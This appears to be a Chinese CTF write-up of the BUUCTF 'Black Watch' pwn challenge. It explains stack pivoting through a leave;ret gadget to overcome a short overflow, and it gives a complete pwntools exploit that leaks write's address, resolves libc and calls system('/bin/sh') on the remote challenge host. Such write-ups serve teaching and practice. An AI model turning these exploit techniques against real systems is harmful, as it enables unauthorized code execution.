zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——[Black Watch 入群题]PWN

    [Black Watch 入群题]PWN——栈劫持

    入群题密码在 /password.txt
    Ubuntu 16
    2020年02月27日:此入群题已作废,请看新版入群题。

    附件

    解题步骤:

    1. 例行检查,32位程序,开启了nx保护
      在这里插入图片描述

    2. 运行一下程序,两次输入,测试时发现输入长度过长,会报错
      在这里插入图片描述

    在这里插入图片描述

    1. 32位ida载入,首先shift+f12查看一下程序里的字符串,没有system函数和‘/bin/sh’的字符串,这边需要我们自己去想办法构造system(‘/bin/sh’)
      在这里插入图片描述
    2. 从main函数开始看程序
      在这里插入图片描述
    3. 主要部分在function函数里
      在这里插入图片描述
      在这里插入图片描述
    4. 一开始输出m1里的字符串,然后调用read函数给s写入参数,s在bss段上,而且允许我们写入0x200长度的数据,我们可以在这边写很多东西
      在这里插入图片描述
    5. 之后输出m2里的内容
      在这里插入图片描述
    6. 然后又是一个read函数,让我们读入0x20长度的数据给参数buf,ida给我们分析的buf参数的大小是0x18,我们可以溢出0x8字节,0x8字节,只够我们覆盖ret,没办法构造很长的rop链来攻击
    7. 我们之前看到的参数s,那边我们可以写入很长的数据,我们可以将我们的rop链布置在那里,由于这题需要我们自己构造system(‘/bin/sh’)
      所以我们需要先来泄露一下程序的libc版本
    payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
    r.recvuntil("What is your name?")
    r.send(payload)
    

    现在我们布置好的s是这样的

    在这里插入图片描述
    简单描述一下s参数里的布局
    首先写入write函数的plt表地址(write函数的实际地址),去调用write函数
    接着在函数返回地址处写入main函数地址,控制程序执行流

    看一下write函数原型

    ssize_t write(int fd,const void*buf,size_t count);
    参数说明:
      fd:是文件描述符(write所对应的是写,即就是1)
      buf:通常是一个字符串,需要写入的字符串
      count:是每次写入的字节数
    

    最后的p32(1)+p32(write_got)+p32(4)是我们一开始写入的调用write函数的参数,目的是调用write函数去打印write的got表(write函数的地址),32位程序,一次传入4字节

    这句payload会泄露程序里的write函数的地址,利用libcsearcher就能获取这个程序libc的基址,接下我们就可以构造system(‘/bin/sh’)获取shell了

    1. 现在我们要想办法去调用我们布置好的栈,上面分析了,溢出长度不够我们完成利用,这边用到了一个叫栈劫持的方法,关于栈劫持的原理,看这里,从156:14开始
      这篇文章也是讲栈劫持原理的
      做栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场
      在这里插入图片描述
      找一下程序里的leave;ret指令,leave_ret=0x8048408
      在这里插入图片描述
    payload1='a'*0x18+p32(s-4)+p32(leave_ret)
    

    在这里插入图片描述

    我们在给buf参数赋值的时候,溢出后将rbp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址

    理一下这样写程序的执行过程:
    首先程序正常结束了,去调用程序本身的leave;ret来还原现场,
    根据我们对栈的布局,
    mov rsp,rbp->将rsp指向了rbp,栈变成了这个样子
    在这里插入图片描述

    pop rbp->rbp寄存器被我们设置成了参数s-4的地址,指向了我们布置好的栈上方,这边-4是因为我们第二次执行pop rbp给rbp赋值的时候,会将rsp+4,如果不减去4,rsp就在程序一开始的时候指向的不是栈顶,而是栈顶+4的位置,我们之后读取数据会丢失一开始的4字节,所以需要一开始的时候将指针往上抬4字节,栈变成了这个样子
    在这里插入图片描述

    ret(pop rip)->去调用leave;ret指令
    再次执行leave;ret指令

    mov rsp,rbp->rsp指向了参数s-4的位置,栈布局现在是这样
    在这里插入图片描述

    pop rbp->弹出栈顶的值给rbp,之后栈变成了这样,我们成功将esp指针劫持到了我们布置好的栈上
    在这里插入图片描述

    ret(pop rip)->将esp指向的输值弹给rip
    接下来它就会去执行我们布置好的泄露libc的步骤,我们去接收它输出的write函数地址,就知道了libc版本,接下来就能去构造system(’/bin/sh‘)了,接下来在重复一下上述的控制流程,就能拿到shell了

    (叙述的时候ebp=rbp,esp=rsp,中间说明没有保持一致,在查资料的时候,写的两个寄存器的名字不同,但都是这个作用)

    完整exp:

    from pwn import *
    from LibcSearcher import *
    
    #p=process('./spwn')
    r=remote('node3.buuoj.cn',28433)
    elf=ELF('./spwn')
    
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    main=0x8048513
    s=0x0804A300
    leave_ret=0x08048408
    
    payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
    r.recvuntil("What is your name?")
    r.send(payload)
    
    payload1='a'*0x18+p32(s-4)+p32(leave_ret)
    r.recvuntil("What do you want to say?")
    r.send(payload1)
    
    write_addr=u32(r.recv(4))
    
    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    sh=libc_base+libc.dump('str_bin_sh')
    
    r.recvuntil("name?")
    payload=p32(system)+p32(0)+p32(sh)
    r.sendline(payload)
    
    r.recvuntil("say?")
    r.sendline(payload1)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Antenna Placement---poj3020(最大匹配)
    Strategic Game--hdu1054(最小覆盖点)
    Oil Skimming---hdu4185(最大匹配)
    Windows平台下NS2网络仿真环境的搭建
    视频参数(流媒体系统,封装格式,视频编码,音频编码,播放器)对比
    最简单的基于FFMPEG+SDL的音频播放器
    FFplay源代码分析:整体流程图
    图解FFMPEG打开媒体的函数avformat_open_input
    100行代码实现最简单的基于FFMPEG+SDL的视频播放器
    视频编码标准汇总及比较
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273697.html
Copyright © 2011-2022 走看看